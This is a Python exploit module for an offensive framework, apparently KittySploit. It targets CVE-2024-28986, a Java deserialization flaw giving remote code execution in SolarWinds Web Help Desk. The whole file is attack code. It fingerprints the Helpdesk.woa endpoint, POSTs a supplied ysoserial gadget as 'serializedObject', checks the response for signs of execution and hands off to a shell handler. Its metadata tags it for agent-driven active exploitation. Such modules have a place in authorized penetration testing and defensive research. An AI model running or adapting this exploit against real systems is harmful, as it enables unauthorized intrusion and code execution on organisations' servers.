SolarWinds WHD Deserialization RCE (CVE-2024-28986)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""SolarWinds Web Help Desk deserialization RCE (CVE-2024-28986)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'SolarWinds WHD Deserialization RCE (CVE-2024-28986)',
        'description': (
            'Exploits CVE-2024-28986 in SolarWinds Web Help Desk <12.8.3: Java deserialization '
            'on Helpdesk.woa endpoints allows remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-28986'],
        'platform': Platform.WINDOWS,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-28986'],
        'tags': ['solarwinds', 'deserialization', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_28986_detect']},
        },
    }

    ysoserial_payload = OptString('', 'Base64 ysoserial gadget for WHD endpoint', required=False, advanced=True)
    whd_path = OptString('/helpdesk/WebObjects/Helpdesk.woa', 'WHD base path', required=False, advanced=True)

    def check(self):
        path = str(self.whd_path or '/helpdesk/WebObjects/Helpdesk.woa')
        r = self.http_request(method='GET', path=path, allow_redirects=True)
        body = (r.text or '') if r else ''
        if r and any(m in body for m in ('Web Help Desk Software', 'SolarWinds')):
            return {'vulnerable': True, 'reason': 'SolarWinds WHD surface detected', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'WHD not detected', 'confidence': 'medium'}

    def execute(self, cmd: str) -> str:
        blob = str(self.ysoserial_payload or '').strip()
        if not blob:
            return ''
        path = str(self.whd_path or '/helpdesk/WebObjects/Helpdesk.woa')
        r = self.http_request(
            method='POST',
            path=path,
            data={'serializedObject': blob},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.ysoserial_payload:
            print_warning('Set ysoserial_payload for WHD deserialization chain')
            self.vulnerable()
            return True
        body = self.execute('')
        if re.search(r'uid=\d+|Exception|cmd', body or '', re.I):
            return self.handler_execute()
        self.vulnerable()
        return True